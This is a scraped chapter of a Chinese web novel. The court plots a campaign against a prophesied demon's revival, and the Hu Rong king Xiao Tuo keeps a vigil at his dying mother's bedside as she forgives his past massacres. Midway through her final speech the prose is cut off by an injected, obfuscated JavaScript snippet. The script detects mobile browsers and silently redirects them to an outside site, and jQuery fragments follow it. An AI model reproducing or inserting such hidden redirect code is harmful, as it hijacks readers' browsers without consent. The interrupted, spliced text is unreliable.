154. 救赎

作品:《大燕第一赘婿

    “有没有一种可能。”


    秋时,沈行约长身而立,望向院中纷飞的落叶:“也许这世上还有其他人,能够代替人皇,平息这场浩劫。”


    “我不知道,”昳平静地道:“我只知道,人皇是人族动乱唯一的终结者,想要与复生后的巨魔一战,唯有借助他的力量。你……在想什么?”


    沈行约回过身,两人相视一眼,昳不明所以,见他灰蒙蒙的双目中饱含复杂之色。


    “为何不能赶在‘巨魔’复生前,提前将其击杀?”


    沈行约仍存有许多疑问,却听昳答道:“办不到啊!”


    巨魔的诞生,甚至早于宇宙混沌之初。


    关于它的传闻,流传的诸多版本不一,较为统一的说法是,它是世间四域中,一切黑暗力量的源头。


    古时蚩尤作乱,正是因为得到了巨魔的魔心。而蚩尤战死后,诸神将斩落的蚩尤头颅与尸身分而埋葬,仍无法摧毁巨魔那颗疯狂跳动的心脏,只得将其封印在大渊之中。


    “即便依靠神力,也无法将魔心真正的摧毁,巨魔迟早会卷土重来,”昳说道:“况且,有序神与无序神的预言相撞,都指向了一个事实:巨魔的‘复生’,已是命定之事,那一天的到来,只是早晚的事情。”


    沈行约:“……”


    昳一本正经地说完,往嘴里塞了个果子。


    外人看来,这个模样只有十六七的少年在秋日的阴影下围炉煮茶,谈论的话题,却是关乎全天下人存亡的问题。


    “所以你打算什么时候动身?”沈行约道。


    这些天里,昳留在城署中养足精神,又有沈行约出面,阻止姜成的打扰,度过了一阵安逸日子。


    而每当沈行约提及寻找昳口中那个‘人皇’的下落,昳立马表现出一筹莫展,迟疑道:“啊?再等等吧!”


    “你有使命在身,”沈行约道:“总待在朕这里,终究不是办法。”


    “话也不能这么说啊,”昳当即道:“毕竟燕王朝的气运还在你身上呢!虽则……我没有找到人皇,但却找到了你!这之间,总归会有些联系……”


    一开始,昳也曾想过,作为新一任的守护神,独自踏上寻找人皇之路,可遇到沈行约后,他便临时地改换了主意。


    不管怎么说,燕王朝的气运在眼前这人身上,跟在他身边,总比一个人大海捞针地苦寻,无头苍蝇四处乱撞要好得多。


    “该出现时,总会出现,和我的转生一样,也是要看机缘嘛!”昳看待事物的方式总很乐观,尽管作为守护神,昳肩负拯救苍生的职责,然而他的心性未达,却还是个不谙世事的少年。


    这令沈行约总有一种不确定感。


    与昳相处的这些天里,对方的身份、脾性,他已了解无疑,一想到昳口中那个‘人皇’还不知所踪,又不清楚是个什么脾性,若也如昳这般,沈行约只觉得无比头疼。


    真如昳所说的,连神明之力尚且不能彻底镇压的巨魔为祸人间,等到巨魔复生之日,王朝的命运如果落在这二人肩上,无法想象那会是个什么景象。


    “找到之后呢?”午后,署内官员往来之间,王福呈上奏疏,沈行约道:“你打算怎么做?”


    “自然是寸步不离的保护他,”昳想当然地道,并朝沈行约说了许多关于守护神契约之事,最后道:“总之,决不能让他死了!至于其他的事,我能做的有限,只能看他自己了!”


    沈行约:“……”


    “陛下!”守卫在外通禀,片刻后,李肃解下兵器,走入院中。


    他看了眼正在品茶的昳,将密信呈上,沈行约看过后稍沉吟,随即道:“依照计划行事!”


    当夜,沈行约着手调集军队,以退守充州之名,暗中开始了筹备。


    与胡戎的约定之期将近,晋北地区,邑野的百姓陆续地撤了出来;与此同时,彭帜则在南阳郡负责调动,安定边民。


    秋风荡过,天地万物蒙上了一层肃杀之气。


    一片昏暗的天光下,萧拓骑马从各部落的营地中走过,景望跟随在他身后,每经停一处营地,便记下各部的牲畜及人口的数量,标记归属,以免在迁徙途中丢失。


    转场前的准备工作已进行的差不多,赶回营地前,萧拓驻马高处,回望了一眼。


    夜幕深寒,土色裸露的草原上,篱笆与石头围成的几处驻地间,灰白的毡房零星分散。


    已有好几处牧民家中,烟囱上飘起了缕缕炊烟。


    身后是巍峨的雪山,默然矗立。


    萧拓牵马往驻地走,一路上,想到他负气离开王庭,初到胡泷的那几年,每隔一段时日,摄提格便会带物资来看他,两人相处的点滴,眨眼间却已成物是人非,心境不由得陷入低沉。


    回了穹庐大帐,一人等在营地外,却是张衍。


    “胡戎王陛下……”


    张衍向他揖礼,一副有求于人的态度,萧拓道:“什么事?”


    “王陛下,其实也没什么,只是……”景望将两人的马牵走,萧拓看了眼支支吾吾的张衍,引他入内,又命人奉上热奶茶,对待沈行约这名下属,可谓是以礼相待。


    而张衍此行,确实是有求于他,只因自己离开军中太久,在胡戎驻地又十分不习惯,一面难以适应草原上的生活,一面则是忧心着绥应的战况,眼看转场之期将近,便主动提出辞行。


    “你想走?”


    看到张衍请示的目光,萧拓冷漠地道:“什么时候,等到他亲自北上来见我,你什么时候方可离开。”


    “解铃还须系铃人。”


    张衍无奈叹气,劝道:“王陛下,恕我直言,您与我们陛下之间的恩怨,还须得你们自己来解决,即便您这样不放我走,也是无济于事……”


    萧拓:“听不懂。”


    张衍还想争辩几句,萧拓却已不想与他废话。


    从上一次分开,他便和沈行约彻底地断了联系,而想要对方回心转意,萧拓手中就只有这么一张筹码,断断不可能轻易地放人回去。


    张衍一阵苦口婆心,少时,萧拓的声音从帐内传出:


    “把他带出去!让他回到自己的帐里待着!”


    随即帐门被撩开,却不是甲兵入内。


    阿姞娅眼含泪光,颤声道:“摄赫……”


    萧拓的神情一瞬转为严肃,他与阿姞娅相视一眼,脑中嗡一声细响,意识到发生了什么,忙慌慌张张地朝外奔去。


    驻地以北,荒芜的居所在夜幕下显得格外冷寂,奴仆们跪守在外,看着萧拓脸色惨白,如一阵风般冲入帐内。


    萧拓跪在阿桑的病榻前,泛红的双目看着她。


    在那昏暗的矮帐内,所有物什都陈旧不堪,似笼了一层灰,唯有一盏豆灯散发出微光,却照不亮阿桑沉寂而苍老的面容。


    萧拓静静地看着她,想要说什么,喉咙却像是哽住了。


    这一次,他没有怨天尤人的愤怒,像是预感了什么,双臂垂下,只有深深的无力。


    “摄赫……你来了。”


    一点微弱光影的映照下,阿桑的眼皮微动,她费力地睁开眼,看清了这个曾被自己狠心抛弃的孩子,此刻正跪在自己榻前,往事一幕幕地袭来,如走马灯般虚晃而过。


    萧拓耳畔回响着阿姞娅的话,心如刀绞,连呼吸都显得滞涩。


    “巫医来看过几次,她的状况一日不如一日,有时会说胡话……”


    “不!已经晚了……突染的疫病,加上她早年间的劳累,多撑一刻,她的痛苦只会加倍……”


    “阿桑……”好半晌,萧拓才整理好情绪,尽量平复语气,低声道:“再等一天,我们……”


    “孩子……不必说了,”阿桑缓慢地眨了下眼,气如残丝,仿佛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235502|161534||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生命在无声地流逝,“阿妈……就要走了,我这一生,没什么放不下的,可偏偏……”


    萧拓咬紧下唇,静静听着,不敢去看阿桑的目光。


    “偏偏放心不下……你,”阿桑艰难地喘了口气,缓了好一阵,再开口时,她用一种恍如隔世的、充满慈爱的语气,沙哑地道:


    “我的孩子……原谅阿妈也曾经恨过你……恨你屠戮的、暴行……也恨,你像你的父亲那样,活成了阿妈最为憎恶的样子……”


    在这密不透风的矮帐内,往事一幕幕飘散,阿桑的眼前,依稀出现了另一个影子。


    青年的五官比萧拓稍显稚嫩,额头和下巴处沾满了血渍。


    他固执地抓过另一只满是操劳的手,血淋淋的钱袋放进妇人的手里。


    “摄赫,阿妈不喜欢你这样!”


    妇人将钱袋推回去,背过身一阵默然,终是忍不住道:“他们并没有惹你,为什么要杀他们?答应阿妈,不要再杀人!就算是阿妈求你……”


    青年沉默不语,将钱袋放在桌角,转身离去,沾染血丝的眼眸中,带着一种犹如与生俱来的漠视。


    画面一转,死了丈夫的女人倒在居所外哭嚎。


    “为什么这么做!为什么?!”


    妇人将青年拽出,推着他跪在地上,狠心地打骂他:“你是疯了,还是被恶魔夺走了魂魄?!他到底做错了什么,竟要遭你这样的毒手,摄赫!你就不怕遭诅咒吗?!”


    数道人影散去,变为数年前,六镇的那场屠杀。


    青年浑身浴血,回到王庭,阿桑指着他,发出了痛苦地哭嚎:“恶魔……你是个恶魔……”


    记忆里青年的轮廓淡去,与面前跪着的男子重合。


    萧拓抬起眼,几度哽咽,通红的眼眶中泪光涌动。


    在这一刻,阿桑终于放下往日夙怨,以母亲对孩子近乎无限的爱,彻底地选择了谅解。


    “我曾不止一次地问过自己……我的孩子,你究竟在追求什么……?”


    阿桑微笑着,望向萧拓,眼含泪光:“到后来,我知道,你所做这一切,不是为了功勋,也并非证明给旁人看,而是……而是为了那种、杀戮的快感……”


    萧拓别过头去,痛苦地咬住拳头,任凭泪水一滴一滴地砸落。


    他从不知,因为自己的暴行,这么些年来,竟让阿桑整日生活在莫大的痛苦之中,直到临终之际,她仍然无法放下。


    萧拓几度平复情绪,很想对着自己的母亲说一句对不起,可情至深处,已哽咽到说不出话来。


    “我知道,我都知道的……”


    阿桑用尽全力,调动手臂,干瘦的手掌贴近:“我辛苦怀胎九个月,拼尽性命、所生的孩子……难道会是个恶魔吗?”


    听着母亲沙哑的话音,萧拓如置深渊之中。


    痛苦的浪潮将他吞没殆尽,唯剩下无声地落泪,绷紧的拳上咬出了血,忽感受到手掌的触碰,落在他额发处。


    “孩子,就让我的死,为你脱罪……”


    阿桑双目中流露出慈爱的光芒,手掌轻轻抚摸:“让我生命的终点,来结束这一切……忘记杀戮吧,去追求人世间的爱。”


    萧拓哑然流泪,感受着母亲的手掌落在他额头前,温柔地轻抚而过,唤起了尘封已久的儿时记忆。


    那手掌落下时,萧拓甚至忘记了反应。


    毡房里出奇地安静,萧拓呆怔了一瞬,随之便是慌乱,如似孩子般笨拙地确认:“阿桑……阿桑?!”


    豆灯燃灭,化为一道灰烟。


    暗室中,唯有死亡的声音回应了他。


    一瞬间,所有的痛楚猛然袭来,萧拓垂下头,早已泣不成声,肩头剧烈抖动着。


    在那被死亡笼罩的阴影里,他一头扑向床榻,埋头在阿桑的怀里,仰天发出了一声痛苦的咆哮:“阿妈——!”